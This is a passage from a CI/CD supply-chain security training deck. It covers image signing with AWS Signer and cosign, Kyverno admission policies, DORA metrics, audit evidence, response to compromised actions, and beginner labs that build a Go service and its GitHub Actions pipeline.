| Source L4 | Required review by a non-author; CODEOWNERS; no self-approval | 3, 13 |
| Use the guarantees | Admission policy requires signature + provenance from the expected identity | 12 |
AWS Signer with Notation, and Amazon ECR managed signing.
Notation is the CNCF Notary Project CLI; AWS Signer provides the keys, certificates and revocation.
Notation-OCI-SHA384-ECDSA.# one-time: signing profile
aws signer put-signing-profile \
--profile-name cicd_lab \
--platform-id Notation-OCI-SHA384-ECDSA
# sign (CI, with OIDC credentials)
aws ecr get-login-password | notation login \
--username AWS --password-stdin \
123456789012.dkr.ecr.ap-northeast-1.amazonaws.com
notation sign "$IMAGE@$DIGEST" \
--plugin com.amazonaws.signer.notation.plugin \
--id "$PROFILE_ARN" # arn:aws:signer:…:/signing-profiles/cicd_lab
notation inspect "$IMAGE@$DIGEST" # list signaturesVerification needs a trust store (AWS Signer root) and a trust policy naming the allowed signing profiles.
{
"version": "1.0",
"trustPolicies": [{
"name": "cicd-lab-images",
"registryScopes": [
"<acct>.dkr.ecr.ap-northeast-1.amazonaws.com/cicd-lab/hello"
],
"signatureVerification": { "level": "strict" },
"trustStores": [ "signingAuthority:aws-signer-ts" ],
"trustedIdentities": [
"arn:aws:signer:ap-northeast-1:<acct>:/signing-profiles/cicd_lab"
]
}]
}notation policy import trustpolicy.json, then notation verify "$IMAGE@$DIGEST".trustedIdentities pins the signing profile — the Notation equivalent of pinning the keyless identity.strict also checks revocation through AWS Signer: a revoked profile or signature fails.ECR signs images automatically on push with an AWS Signer profile. No signing step in the pipeline.
signer:SignPayload on the profile.Many teams use both: AWS Signer for the AWS-native signature, GitHub/Sigstore attestations for provenance.
| Question | Sigstore keyless (cosign, GitHub attestations) | AWS Signer (Notation, ECR managed signing) |
|---|---|---|
| Key management | None | Managed by AWS Signer |
| Identity in the signature | CI workflow (repo, workflow file, ref) | Signing profile (whoever may use it) |
| Provenance (how it was built) | Yes, SLSA provenance attestations | No; signature only |
| Revocation | Change verifier policy | Revoke profile or individual signatures |
| Transparency log | Rekor (public for public-good instance) | No public log; CloudTrail for audit |
| Air-gapped / no external calls | Needs Sigstore services (or a private instance) | Stays within AWS |
| Verifier on EKS | Kyverno ImageValidatingPolicy, Sigstore policy-controller | Gatekeeper + Ratify, or Kyverno + kyverno-notation-aws |
Each one quietly turns "signed" into "decorative".
:latest, :v1) instead of the digest.cosign verify with --certificate-identity-regexp '.*' — trusts any GitHub repo.github.com/<you>/cicd-lab also matches cicd-lab-evil.Explain the answer and name the exact command, field or level.
cosign verify have?attest-build-provenance need?trustedIdentities pin in a Notation trust policy?signer:SignPayload with ECR managed signing?Practice: Lab 11 in Hands-on labs — cosign keyless signing, GitHub build provenance, gh attestation verify and cosign verify; optional ECR managed signing.
Signatures and provenance only matter if something refuses to run artifacts without them.
Kyverno ImageValidatingPolicy, the legacy verifyImages rule, and the Sigstore policy-controller.
Checks in CI protect the pipeline. Checks at admission protect the cluster from everything else.
Verifying in Argo CD or in CI only is not enough: anyone with cluster access could still deploy an unsigned image.
Know both: older tutorials and clusters use the legacy rule; new policies should use the new CRD.
ImageValidatingPolicy, API policies.kyverno.io/v1, stable since Kyverno 1.18.verifyImageSignatures and verifyAttestationSignatures do the checks.ClusterPolicy.v1alpha1.Docs: kyverno.io/docs/policy-types/image-validating-policy/ — read the page for the Kyverno version you run before copying fields.
Pods whose images match the glob must carry a cosign signature from the expected GitHub workflow identity.
apiVersion: policies.kyverno.io/v1
kind: ImageValidatingPolicy
metadata:
name: require-signed-cicd-lab
spec:
validationActions: [Deny] # Audit while rolling out
matchConstraints:
resourceRules:
- apiGroups: [""]
apiVersions: [v1]
operations: [CREATE, UPDATE]
resources: [pods]
matchImageReferences:
- glob: "123456789012.dkr.ecr.ap-northeast-1.amazonaws.com/cicd-lab/*"
attestors:
- name: gha
cosign:
keyless:
identities:
- issuer: https://token.actions.githubusercontent.com
subjectRegExp: '^https://github\.com/<you>/cicd-lab/.+@refs/tags/v'
validations:
- expression: >-
images.containers.map(image,
verifyImageSignatures(image, [attestors.gha])).all(e, e > 0)
message: "image must be signed by a tag build of <you>/cicd-lab"matchConstraints: which requests the policy sees (Pods here).matchImageReferences: which images must be verified; others are not checked by this policy.attestors: who is trusted — issuer + subject regexp, anchored.validations: CEL; verifyImageSignatures returns how many attestors verified.validationActions: Deny blocks, Audit only reports.@refs/tags/v…); Lab 12 trusts @refs/heads/main because Lab 11 signs on pushes to main.A signature says who pushed; a provenance attestation says how and from where it was built.
spec:
# ... matchConstraints, matchImageReferences, attestors as before
attestations:
- name: provenance
intoto:
type: https://slsa.dev/provenance/v1
validations:
- expression: >-
images.containers.map(image,
verifyImageSignatures(image, [attestors.gha])).all(e, e > 0)
message: "unsigned image"
- expression: >-
images.containers.map(image,
verifyAttestationSignatures(image, attestations.provenance,
[attestors.gha])).all(e, e > 0)
message: "image has no SLSA provenance from release.yml"push-to-registry: true or cosign attest (ch 11).buildDefinition.externalParameters.workflow.ref to be a tag); see the docs for the payload functions.For reading older repos and clusters below Kyverno 1.18. Do not write new policies this way.
apiVersion: kyverno.io/v1
kind: ClusterPolicy
metadata:
name: require-signed-cicd-lab
spec:
validationFailureAction: Enforce
webhookTimeoutSeconds: 30
rules:
- name: verify-signature
match:
any:
- resources:
kinds: [Pod]
verifyImages:
- imageReferences:
- "123456789012.dkr.ecr.ap-northeast-1.amazonaws.com/cicd-lab/*"
attestors:
- entries:
- keyless:
issuer: https://token.actions.githubusercontent.com
subjectRegExp: '^https://github\.com/<you>/cicd-lab/.*$'
rekor:
url: https://rekor.sigstore.devverifyImages[].imageReferences → matchImageReferences[].glob.attestors[].entries[].keyless → attestors[].cosign.keyless.identities[].match → matchConstraints.validationFailureAction: Enforce → validationActions: [Deny].validations.A dedicated admission controller from the Sigstore project; verifies cosign signatures and attestations only.
apiVersion: policy.sigstore.dev/v1beta1
kind: ClusterImagePolicy
metadata:
name: cicd-lab-signed
spec:
images:
- glob: "123456789012.dkr.ecr.ap-northeast-1.amazonaws.com/cicd-lab/**"
authorities:
- keyless:
url: https://fulcio.sigstore.dev
identities:
- issuer: https://token.actions.githubusercontent.com
subjectRegExp: '^https://github\.com/<you>/cicd-lab/.*$'
ctlog:
url: https://rekor.sigstore.dev
# opt a namespace in
kubectl label namespace hello policy.sigstore.dev/include=trueA wrong policy can stop every Deployment in the cluster, including system components.
kubectl get pods -A -o jsonpath=….validationActions: [Audit].kube-system, the policy engine namespace, and add-ons you do not build.Deny per namespace or environment: dev → staging → prod.Third-party images (add-ons, Helm charts you install): verify the vendor's own signatures if they publish them, or mirror into your registry after review and sign there.
Verifying AWS Signer (Notation) signatures on EKS, and pinning digests.
AWS documents both; each uses the AWS Signer plugin for Notation to check signatures and revocation.
Ratify is not the only path. Pick the one that matches the policy engine you already run; the AWS EKS "image verification" docs link to both setups.
Gatekeeper asks Ratify (an external data provider) whether each image has a valid signature.
A community extension service from Nirmata that Kyverno calls to run Notation verification with AWS Signer.
kyverno-notation-aws from its repository (Helm chart or manifests).The extension is a community project, not an AWS service: pin its version and track its releases like any other dependency.
Verification checks the digest it resolves. If the manifest uses a tag, a later push to that tag changes what runs.
# values for the web chart (GitOps deck)
image:
repository: <acct>.dkr.ecr.ap-northeast-1.amazonaws.com/cicd-lab/hello
tag: v1.4.0 # for humans
digest: sha256:5f1c…e9 # what actually runs
# template
image: "{{ .Values.image.repository }}@{{ .Values.image.digest }}"
# rendered Pod
image: 123456789012.dkr.ecr…/cicd-lab/hello@sha256:5f1c…e9@sha256:.CI produces evidence, Git records the decision, admission enforces it.
Each step hands the next one something it can check.
gitops-lab setting image.digest for dev.The digest is the thread through every step: CI output → Git → manifest → admission check → running container.
The app repo pipeline never touches the cluster; it proposes a change to the config repo.
promote-dev:
needs: build
runs-on: ubuntu-latest
permissions: { contents: read }
steps:
- uses: actions/create-github-app-token@<sha-of-v1.x>
id: app
with:
app-id: ${{ vars.PROMOTER_APP_ID }}
private-key: ${{ secrets.PROMOTER_APP_KEY }}
repositories: gitops-lab
- uses: actions/checkout@<sha-of-v7.0.1>
with:
repository: <you>/gitops-lab
token: ${{ steps.app.outputs.token }}
- env:
DIGEST: ${{ needs.build.outputs.digest }}
GH_TOKEN: ${{ steps.app.outputs.token }}
run: |
yq -i ".image.digest = \"${DIGEST}\"" envs/dev/hello/values.yaml
git switch -c "promote/dev-${DIGEST:7:12}"
git commit -am "dev: hello ${DIGEST:7:12}" && git push -u origin HEAD
gh pr create --fill --base maingitops-lab, not a PAT: short-lived and auditable.env:, never interpolated inside run:.gitops-lab omitted for brevity.Outages happen when the signing path is down. Plan the exception before you need it.
Audit for one namespace.Restrict who can create policy exceptions with RBAC; an exception anyone can create is a bypass, not a process.
Most failures are either "verifies nothing" or "blocks everything".
Audit forever..*: any GitHub workflow passes.kube-system.verifyImages for new work after Kyverno 1.19.Explain the answer and name the exact field or component.
verifyImages rule, and in which version was the rule deprecated?matchImageReferences, attestors and validations each do?Practice: Lab 12 in Hands-on labs — Kyverno ImageValidatingPolicy on kind requiring your workflow's signature; an unsigned image is rejected.
Run the pipeline like a production service: measure it, prove what it did, and know what to do when it is attacked.
Duration, queue time, failures, flakiness, cost — and the five DORA metrics.
The pipeline is a product used by every engineer. Measure it like one.
| Signal | Definition | Why it matters | Typical target |
|---|---|---|---|
| Duration | Run start → completion, p50 and p95, per workflow | Feedback speed; long CI means batching and bigger changes | PR checks under ~10 min |
| Queue time | Job created → job started | Runner capacity; spikes mean too few runners or concurrency limits | Seconds, not minutes |
| Success rate | Successful runs / all runs on the default branch | A red main blocks everyone | Close to 100% on main |
| Flaky rate | Runs that failed, then passed on re-run with no code change | Erodes trust; people stop reading failures | Track and drive down |
| Re-run rate | Run attempts > 1 / all runs | Hidden cost and frustration | Low and falling |
| Cost | Billable minutes, larger-runner minutes, storage | Budget and waste (Cost slide below) | Known per repo / team |
Measure per workflow and per job: one slow integration job usually dominates the total.
Pull it from the API for reports; push it from webhooks for live dashboards.
GET /repos/{owner}/{repo}/actions/runs: status, conclusion, event, branch, head SHA, timestamps, attempt.GET …/actions/runs/{run_id}/jobs: per-job start/finish, runner name and labels.gh run list --json … and gh run view --json … wrap the same data.workflow_run and workflow_job events (org or repo webhooks, or a GitHub App).Enough to answer "is CI getting slower?" without building a platform.
REPO=<you>/cicd-lab
# last 200 runs of the CI workflow on main
gh run list -R $REPO --workflow ci.yml --branch main -L 200 \
--json databaseId,conclusion,createdAt,startedAt,updatedAt,attempt \
> runs.json
# p50 / p95 duration in seconds (completed runs)
jq '[.[] | select(.conclusion != null)
| ((.updatedAt|fromdate) - (.startedAt|fromdate))] | sort
| {p50: .[length/2|floor], p95: .[length*0.95|floor]}' runs.json
# failure rate and re-run rate
jq '{runs: length,
failed: ([.[] | select(.conclusion=="failure")] | length),
rerun: ([.[] | select(.attempt > 1)] | length)}' runs.json
# per-job timing for one run
gh run view <run-id> -R $REPO --json jobs \
--jq '.jobs[] | [.name, .startedAt, .completedAt, .conclusion] | @tsv'updatedAt − startedAt approximates run duration; for exact numbers use job timestamps.created_at vs started_at in the jobs API.event to separate PR checks from main and release runs.headSha, a failed attempt followed by a successful one.A small collector turns workflow_job webhooks into time series you can alert on.
Self-hosted runners (ARC on EKS) add their own metrics: idle runners, scale-up latency, node cost. Watch both sides.
DORA groups them into throughput and instability. Measure services, not individuals.
| Metric | Question it answers |
|---|---|
| Change lead time | How long from commit to running in production? |
| Deployment frequency | How often do we deploy to production? |
| Failed deployment recovery time | When a deployment causes a failure, how fast do we recover? |
| Metric | Question it answers |
|---|---|
| Change fail rate | What share of deployments needs immediate intervention (rollback, hotfix)? |
| Deployment rework rate | What share of deployments are unplanned, made because of a production incident? |
Older material lists four keys and "MTTR". Current DORA guidance uses the five above; "failed deployment recovery time" replaced MTTR. Source: dora.dev/guides/dora-metrics/.
You need three event streams: commits, production deployments, and incidents linked to deployments.
| Metric | Formula | Data source |
|---|---|---|
| Lead time | deploy time − commit time, median per period | Commit SHA in the promotion PR → Argo CD sync / GitHub deployment record |
| Deploy frequency | production deployments per day / week | Merged prod promotion PRs, or GitHub deployments to prod |
| Change fail rate | failed deployments / all deployments | Incidents or rollbacks linked to a deployment |
| Recovery time | recovery time − failure start, median | Incident records |
| Rework rate | unplanned deployments due to incidents / all deployments | Deployments labelled hotfix / incident |
planned vs hotfix, and link incidents to the deployment that caused them.Most CI waste is jobs that did not need to run, or ran longer than needed.
concurrency with cancel-in-progress: true for PR workflows.timeout-minutes on every job: hung jobs burn minutes for hours otherwise.Who changed what, who approved it, and the evidence an auditor will ask for.
Organization and enterprise audit logs record settings changes, secrets, workflows, environments and access.
AssumeRoleWithWebIdentity events show when GitHub OIDC tokens assumed your roles.No single person should be able to write, approve and deploy a production change alone.
main and release tags: pull request required, at least one approval from someone other than the author..github/workflows/, IaC, policy files.prod: required reviewers, with prevent self-review turned on.main or v* tags can deploy to prod.environment:prod) only reachable from that environment.Auditors ask the same questions for every production change. Make each answer a link, not a meeting.
| Question | Evidence | Where it lives |
|---|---|---|
| What changed? | PR diff and linked issue / ticket | GitHub pull request |
| Who approved it? | PR review by a non-author; environment approval | PR reviews; deployment review history |
| Was it tested? | Required status checks passed on the merged commit | Checks on the commit; workflow run logs |
| Which artifact shipped? | Image digest with signature and provenance | Registry, attestations, promotion PR |
| When did it reach prod? | Deployment record and sync time | GitHub deployments, Argo CD history |
| Who had access? | Settings and permission changes | Audit log stream, CloudTrail |
Retention: keep evidence as long as your compliance framework requires; GitHub run logs and artifacts expire by default, so export what you must keep.
Frameworks (SOC 2, ISO 27001, PCI DSS) phrase it differently; the implementation is the same.
| Control intent | Implementation in this deck | Chapter |
|---|---|---|
| Changes are authorized and reviewed | Rulesets, CODEOWNERS, environment reviewers, prevent self-review | 3, 13 |
| Changes are tested before production | Required checks, merge queue, quality gates | 6 |
| Only approved artifacts run in production | Signatures, provenance, admission policy, digest pinning | 11, 12 |
| Least privilege for automation | OIDC roles per environment, read-only GITHUB_TOKEN, App tokens | 4, 9 |
| Vulnerabilities are managed | Scanning gates, SBOMs, SLAs, VEX | 5, 10 |
| Activity is logged and retained | Audit log streaming, CloudTrail, exported run evidence | 13 |
A compromised action, package or token: scope it, contain it, rebuild, and learn.
Real examples from chapter 8 show the patterns to prepare for.
GITHUB_TOKEN (expires when the job ends), PATs, App keys, registry and npm tokens.Same phases as any incident; the evidence lives in GitHub, the registry and CloudTrail.
Answer "where do we use it, and which runs executed it?" in minutes.
ACTION=tj-actions/changed-files # example
ORG=<your-org>
# 1. which workflows reference it (tag or SHA)?
gh search code "$ACTION" --owner "$ORG" --filename '*.yml' \
--json repository,path --jq '.[] | "\(.repository.nameWithOwner) \(.path)"'
# 2. runs of an affected workflow in the window
gh api -X GET "repos/$ORG/web/actions/workflows/ci.yml/runs" \
-f created='2025-03-14..2025-03-16' --paginate \
--jq '.workflow_runs[] | [.id, .head_branch, .conclusion, .created_at] | @tsv'
# 3. inspect and then delete logs that may contain secrets
gh run view <run-id> -R "$ORG/web" --log | less
gh api -X DELETE "repos/$ORG/web/actions/runs/<run-id>/logs"
# 4. purge caches written during the window
gh cache list -R "$ORG/web"
gh cache delete --all -R "$ORG/web"Rotate based on what the affected jobs could reach, not on what you think was printed.
| Credential | Exposure if a job was compromised | Action |
|---|---|---|
GITHUB_TOKEN | Valid until the job ends; scoped by permissions: | No rotation; review what it could write during the run |
| OIDC → AWS role | No stored secret; attacker could act as the role during the run | Check CloudTrail for the role in the window; tighten trust policy |
| Repo / org / env secrets | Fully exposed if available to the job | Rotate at the source, then update GitHub |
| PATs, App private keys | Long-lived; reusable anywhere | Revoke immediately; prefer App tokens and OIDC |
| npm / PyPI / registry tokens | Can publish malicious versions (worm propagation) | Revoke; move to trusted publishing (OIDC) where the registry supports it |
| Cloud static keys | Long-lived cloud access | Deactivate, rotate, then remove: replace with OIDC (ch 4) |
Same phases; the scope is lockfiles and builds instead of workflow files.
package-lock.json, pnpm-lock.yaml, go.sum, poetry.lock) for the bad versions.node_modules or package caches.One hour, a scenario, the real people, and a timer.
<org-tools>/setup-thing@v2 was repointed to malicious code yesterday 14:00–20:00.They usually surface during an audit or an incident — the worst time to find them.
timeout-minutes: a hung job bills for hours.Explain the answer and name the exact setting, API or record.
GITHUB_TOKEN lower risk than a PAT?Practice: Lab 13 in Hands-on labs — collect run metrics with gh run list and the API, compute the five DORA metrics, and run a compromised-action tabletop.
Everything in the deck in one pipeline. Build it after Lab 12; it hands over to the GitOps deck at the promotion PR.
The artifact that reaches the cluster is identified by digest, signed by one workflow identity, and carries an SBOM and SLSA provenance you can verify offline.
Done means every box is ticked and proven with a command, not a screenshot.
ci.yml (lint, test, build) called by the app workflow (Lab 3).gha-cicd-lab scoped to environment:prod (Lab 4).release.yml@refs/heads/main (Lab 12).gh secret list shows none.uses: is a full SHA; zizmor and actionlint pass as required checks.gh attestation verify oci://… --repo <you>/cicd-lab passes.--signer-workflow.One screen to remember the shape of a workflow and what each trigger can see.
name: ci
on:
push: {branches: [main], tags: ['v*']}
pull_request: {paths-ignore: ['docs/**']}
workflow_dispatch:
inputs: {sign: {type: boolean, default: true}}
permissions: {contents: read} # least privilege
concurrency:
group: ci-${{ github.ref }}
cancel-in-progress: true
jobs:
test:
runs-on: ubuntu-latest
strategy: {matrix: {go: ['1.26', '1.27']}}
steps:
- uses: actions/checkout@<sha> # vN
with: {persist-credentials: false}
- uses: actions/setup-go@<sha> # vN
with: {go-version: '${{ matrix.go }}'}
- run: go test ./...
release:
needs: test
if: github.ref == 'refs/heads/main'
environment: prod # protection rules
permissions: {contents: read, id-token: write}
runs-on: ubuntu-latest| Event | Runs code from | Token / secrets for forks |
|---|---|---|
push | The pushed commit | n/a (no forks) |
pull_request | PR merge commit | Read-only token, no secrets |
pull_request_target | Base branch workflow | Write token + secrets: never run PR code |
workflow_run | Default branch workflow | Privileged: treat artifacts as untrusted |
workflow_call | Caller passes inputs/secrets | Inherits caller context |
workflow_dispatch | Chosen ref, typed inputs | Needs write access to trigger |
merge_group | Merge queue candidate | Required checks must listen to it |
Always pin aud and the full sub. Print the real sub from a debug step first (Lab 4): new repos use the immutable form.
{
"Version": "2012-10-17",
"Statement": [{
"Effect": "Allow",
"Principal": {"Federated": "<provider ARN>"},
"Action": "sts:AssumeRoleWithWebIdentity",
"Condition": {
"StringEquals": {
"token.actions.githubusercontent.com:aud": "sts.amazonaws.com",
"token.actions.githubusercontent.com:sub":
"<exact sub printed by your debug step>"
}
}
}]
}sub shapes| Job context | Classic sub |
|---|---|
| Provider ARN | arn:aws:iam::<acct>:oidc-provider/token.actions.githubusercontent.com |
Job with environment: prod | repo:<owner>/<repo>:environment:prod |
| Push to a branch | repo:<owner>/<repo>:ref:refs/heads/main |
| Tag push | repo:<owner>/<repo>:ref:refs/tags/v1.2.0 |
| Pull request | repo:<owner>/<repo>:pull_request |
| Immutable form (new repos since 15 Jul 2026) | repo:<owner>@<owner_id>/<repo>@<repo_id>:… same suffixes |
| Never | repo:<owner>/* or * with StringLike — trusts every repo or ref |
An environment in the job replaces the ref in sub. Gate prod roles on environment:prod and protect that environment with required reviewers and deployment branches.
Each line maps to a chapter and to a check you can automate.
permissions: {contents: read}; widen per job only.uses: pinned to a full SHA with a # vX.Y.Z comment.github.event.*.title, head_ref, bodies) only via env:, never inside run: as ${{ }}.pull_request_target that checks out or runs PR code.actions/checkout with persist-credentials: false unless you push.timeout-minutes and concurrency on every job.GITHUB_TOKEN permission: read..github/workflows/ and .github/actions/.Always operate on a digest (image@sha256:…), never on a mutable tag.
| Command | What it does |
|---|---|
cosign sign --yes $IMG@$DIGEST | Keyless sign in CI (needs id-token: write); bundle format by default in cosign v3 |
cosign verify $IMG@$DIGEST --certificate-identity <workflow URL@ref> --certificate-oidc-issuer https://token.actions.githubusercontent.com | Verify signer identity and issuer |
cosign attest --yes --type spdxjson --predicate sbom.spdx.json $IMG@$DIGEST | Attach an SBOM as a signed attestation |
gh attestation verify oci://$IMG@$DIGEST --repo <you>/cicd-lab | Verify GitHub build provenance (add --signer-workflow for Build L3) |
syft $IMG -o spdx-json=sbom.spdx.json -o cyclonedx-json=sbom.cdx.json | SBOM in both formats from one scan |
syft dir:. -o cyclonedx-json | Source SBOM (lockfiles, go.mod) |
grype sbom:./sbom.spdx.json --fail-on critical [--vex vex.json] | Scan an SBOM, fail on severity, apply VEX |
trivy image --severity CRITICAL,HIGH --exit-code 1 $IMG | Image scan as a gate |
trivy config . / trivy fs --scanners vuln,secret . | IaC misconfig; repo vulns and secrets |
docker buildx imagetools inspect $IMG | Show the manifest list and per-platform digests |
policies.kyverno.io/v1, CEL-based, replaces the legacy verifyImages rule (deprecated in 1.19).
apiVersion: policies.kyverno.io/v1
kind: ImageValidatingPolicy
metadata:
name: signed-by-release-workflow
spec:
validationActions: [Deny] # [Audit] while rolling out
matchConstraints:
resourceRules:
- {apiGroups: [''], apiVersions: [v1],
operations: [CREATE, UPDATE], resources: [pods]}
matchImageReferences:
- glob: 'ghcr.io/<you>/cicd-lab/*'
attestors:
- name: gha
cosign:
keyless:
identities:
- issuer: https://token.actions.githubusercontent.com
subject: https://github.com/<you>/cicd-lab/.github/workflows/release.yml@refs/heads/main
ctlog: {url: 'https://rekor.sigstore.dev'}
validations:
- expression: images.containers.map(image, verifyImageSignatures(image, [attestors.gha])).all(e, e > 0)
message: image must be signed by release.yml on mainmatchImageReferences = which images; attestors = who may sign; verifyImageSignatures counts verified signatures. Add attestations to require an SBOM or provenance.
Labs run on GitHub (public repo = free standard runner minutes) and on a local kind cluster. Labs 4 and 5 use a small AWS sandbox; Lab 11 optionally.
gh auth login (scopes: repo, workflow; later delete_repo, delete:packages).export AWS_REGION=ap-northeast-1, a budget alarm (Lab 0).https://github.com/<you>/cicd-lab (public), Go service hello on port 8080.cicd-lab/hello; IAM role gha-cicd-lab; environments dev and prod.cicd; GitOps config repo gitops-lab (GitOps deck).uses: owner/action@<sha> = the full commit SHA of that action's latest release. Use the release tag until Lab 9 pins everything with pinact.brew install gh kind kubectl jq yq \
cosign syft grype trivy \
actionlint zizmor pinact awscli gettext
gh --version
cosign version # v3.x
syft version
grype version
trivy --version
actionlint --version
zizmor --version
aws --version # aws-cli/2.x
kind versionGoal: a public repo with a tiny HTTP service and tests that every later lab builds on.
gh repo create cicd-lab --public --clone && cd cicd-lab
go mod init github.com/<you>/cicd-lab # go 1.27
cat > main.go <<'EOF'
package main
import (
"fmt"
"log"
"net/http"
"os"
)
var version = "dev" // set with -ldflags at build time
func hello(w http.ResponseWriter, r *http.Request) {
fmt.Fprintf(w, "hello from %s\n", version)
}
func main() {
http.HandleFunc("/", hello)
http.HandleFunc("/healthz", func(w http.ResponseWriter, _ *http.Request) {
w.WriteHeader(http.StatusOK)
})
port := os.Getenv("PORT")
if port == "" {
port = "8080"
}
log.Fatal(http.ListenAndServe(":"+port, nil))
}
EOFcat > main_test.go <<'EOF'
package main
import (
"net/http/httptest"
"strings"
"testing"
)
func TestHello(t *testing.T) {
rec := httptest.NewRecorder()
hello(rec, httptest.NewRequest("GET", "/", nil))
if !strings.HasPrefix(rec.Body.String(), "hello from") {
t.Fatalf("got %q", rec.Body.String())
}
}
EOF
go test ./... && go vet ./...
git add . && git commit -m "hello service" && git push -u origin main
# AWS: alarm before anything bills
aws budgets create-budget --account-id $ACCT --budget \
'{"BudgetName":"cicd-lab","TimeUnit":"MONTHLY",
"BudgetType":"COST",
"BudgetLimit":{"Amount":"10","Unit":"USD"}}' \
--notifications-with-subscribers '[{"Notification":{
"NotificationType":"ACTUAL","ComparisonOperator":"GREATER_THAN",
"Threshold":80},"Subscribers":[{"SubscriptionType":"EMAIL",
"Address":"you@example.com"}]}]'Goal: a small, non-root image that Buildx can build for amd64 and arm64 without QEMU (Go cross-compiles).
cat > Dockerfile <<'EOF'
# syntax=docker/dockerfile:1
FROM --platform=$BUILDPLATFORM golang:1.27 AS build
ARG TARGETOS TARGETARCH VERSION=dev
WORKDIR /src
COPY go.mod ./
RUN go mod download
COPY *.go ./
RUN CGO_ENABLED=0 GOOS=$TARGETOS GOARCH=$TARGETARCH \
go build -trimpath -ldflags "-s -w -X main.version=${VERSION}" \
-o /out/hello .
FROM gcr.io/distroless/static-debian12:nonroot
COPY --from=build /out/hello /hello
USER nonroot:nonroot
EXPOSE 8080
ENTRYPOINT ["/hello"]
EOF
printf '.git\n*.md\n.github\n' > .dockerignoredocker build --build-arg VERSION=local -t hello:local .
docker run --rm -d -p 8080:8080 --name hello hello:local
curl -s localhost:8080/ # hello from local
curl -s -o /dev/null -w '%{http_code}\n' localhost:8080/healthz # 200
docker rm -f hello
docker image inspect hello:local --format '{{.Config.User}}' # nonroot:nonroot
docker image ls hello:local # a few MB: static binary + distroless
git add Dockerfile .dockerignore
git commit -m "Dockerfile" && git push
# kind cluster used by Labs 7 and 12
kind create cluster --name cicd
kubectl config current-context # kind-cicdPinning golang:1.27 and the distroless base by digest comes in Lab 9; Renovate or Dependabot then keeps the digests fresh.
If it does not build on your laptop, CI will only fail slower.
go test ./... passes; go vet ./... is clean./ and /healthz; runs as nonroot.kubectl get nodes shows the cicd-control-plane node Ready.USER nonroot:nonroot and use debian:12 as the final base → image grows to ~100 MB and whoami is root. Restore distroless.CGO_ENABLED=0 → the binary links libc and fails in static with "no such file or directory". Why is the error message so misleading?# keep the repo and the kind cluster:
# later labs use both
docker image rm hello:local
# full teardown (only at the very end)
# kind delete cluster --name cicd
# gh repo delete <you>/cicd-lab --yesGoal: a pull-request pipeline that fails fast, ordered by cost, with a visible duration.
# .github/workflows/ci.yml
name: ci
on:
pull_request:
push: {branches: [main]}
permissions: {contents: read}
jobs:
lint:
runs-on: ubuntu-latest
timeout-minutes: 5
steps:
- uses: actions/checkout@<sha>
with: {persist-credentials: false}
- uses: actions/setup-go@<sha>
with: {go-version-file: go.mod}
- run: test -z "$(gofmt -l .)" || (gofmt -l . && exit 1)
- run: go vet ./...
test:
needs: lint
runs-on: ubuntu-latest
timeout-minutes: 10
steps:
- uses: actions/checkout@<sha>
with: {persist-credentials: false}
- uses: actions/setup-go@<sha>
with: {go-version-file: go.mod}
- run: go test -race -count=1 ./... build:
needs: test
runs-on: ubuntu-latest
timeout-minutes: 15
steps:
- uses: actions/checkout@<sha>
with: {persist-credentials: false}
- run: |
docker build -t hello:ci \
--build-arg VERSION=${{ github.sha }} .
- run: |
docker run -d -p 8080:8080 --name hello hello:ci
sleep 2
curl -fsS localhost:8080/healthz
- run: |
echo "### Build" >> "$GITHUB_STEP_SUMMARY"
docker image ls hello:ci --format '{{.Size}}' \
>> "$GITHUB_STEP_SUMMARY"
# then
git checkout -b ci && git add .github && git commit -m ci
git push -u origin ci && gh pr create --fill
gh pr checks --watchA pipeline you cannot read is a pipeline you will not trust.
gh run list --workflow ci.yml shows the PR run; gh run view --log-failed is empty.push run on main also passes.main_test.go → test fails, build is skipped (needs). Time to red: how many minutes?if time.Now().UnixNano()%2 == 0 { t.Fatal("flaky") } → rerun the job several times; it passes and fails on the same commit. Delete it — never "retry until green".lint fails in seconds, saving the test and build minutes.# keep ci.yml; remove the flaky test
git checkout main && git pull
git branch -D ci
git push origin --delete ciGoal: test on two Go versions in parallel, cache modules and build output, and cancel superseded runs.
# .github/workflows/ci.yml (test job, replaced)
concurrency:
group: ci-${{ github.workflow }}-${{ github.ref }}
cancel-in-progress: ${{ github.ref != 'refs/heads/main' }}
jobs:
test:
needs: lint
runs-on: ${{ matrix.os }}
timeout-minutes: 10
strategy:
fail-fast: false
matrix:
os: [ubuntu-latest, ubuntu-24.04-arm]
go: ['1.26', '1.27']
steps:
- uses: actions/checkout@<sha>
with: {persist-credentials: false}
- uses: actions/setup-go@<sha>
with:
go-version: ${{ matrix.go }}
cache: true # module + build cache, keyed on go.sum
- run: go test -race -count=1 ./...# extra: an explicit cache you control
- uses: actions/cache@<sha>
with:
path: ~/.cache/golangci-lint
key: lint-${{ runner.os }}-${{ hashFiles('go.sum', '.golangci.yml') }}
restore-keys: lint-${{ runner.os }}-
# compare timings
gh run list --workflow ci.yml --limit 6 \
--json databaseId,createdAt,updatedAt,conclusion \
| jq -r '.[] | [.databaseId, .conclusion,
((.updatedAt|fromdate) - (.createdAt|fromdate))] | @tsv'
# cache entries for the repo
gh cache list
gh cache delete --all # force a cold runubuntu-24.04-arm is a free arm64 runner label for public repositories. If your account does not have it, drop that matrix row.
Caches save minutes only when the key is stable and specific.
test jobs run in parallel (2 OS × 2 Go).gh cache delete --all, the first run is slower; the second shows "Cache restored" in setup-go.concurrency.main are never cancelled (expression in cancel-in-progress).lint-${{ github.sha }} → every run misses, the cache list grows, and old entries are evicted at the repo cache limit. Fix: key on lockfiles, not commits.fail-fast: true and break one Go version → the other matrix jobs are cancelled and you lose their signal. When is that what you want?gh cache delete --all
# keep the matrix; it is used again in Lab 3Goal: one CI definition called by two repos, versioned and pinned like any other dependency.
# in cicd-lab: .github/workflows/go-ci.yml (reusable)
name: go-ci
on:
workflow_call:
inputs:
go-version: {type: string, default: '1.27'}
run-race: {type: boolean, default: true}
outputs:
coverage: {value: '${{ jobs.test.outputs.coverage }}'}
permissions: {contents: read}
jobs:
test:
runs-on: ubuntu-latest
outputs: {coverage: '${{ steps.cov.outputs.total }}'}
steps:
- uses: actions/checkout@<sha>
with: {persist-credentials: false}
- uses: <you>/cicd-lab/.github/actions/setup-go-tools@<sha>
with: {go-version: '${{ inputs.go-version }}'}
- id: cov
run: |
go test ${{ inputs.run-race && '-race' || '' }} \
-coverprofile=c.out ./...
T=$(go tool cover -func=c.out | tail -1 | awk '{print $3}')
echo "total=$T" >> $GITHUB_OUTPUT# .github/actions/setup-go-tools/action.yml (composite)
name: setup-go-tools
inputs:
go-version: {required: true}
runs:
using: composite
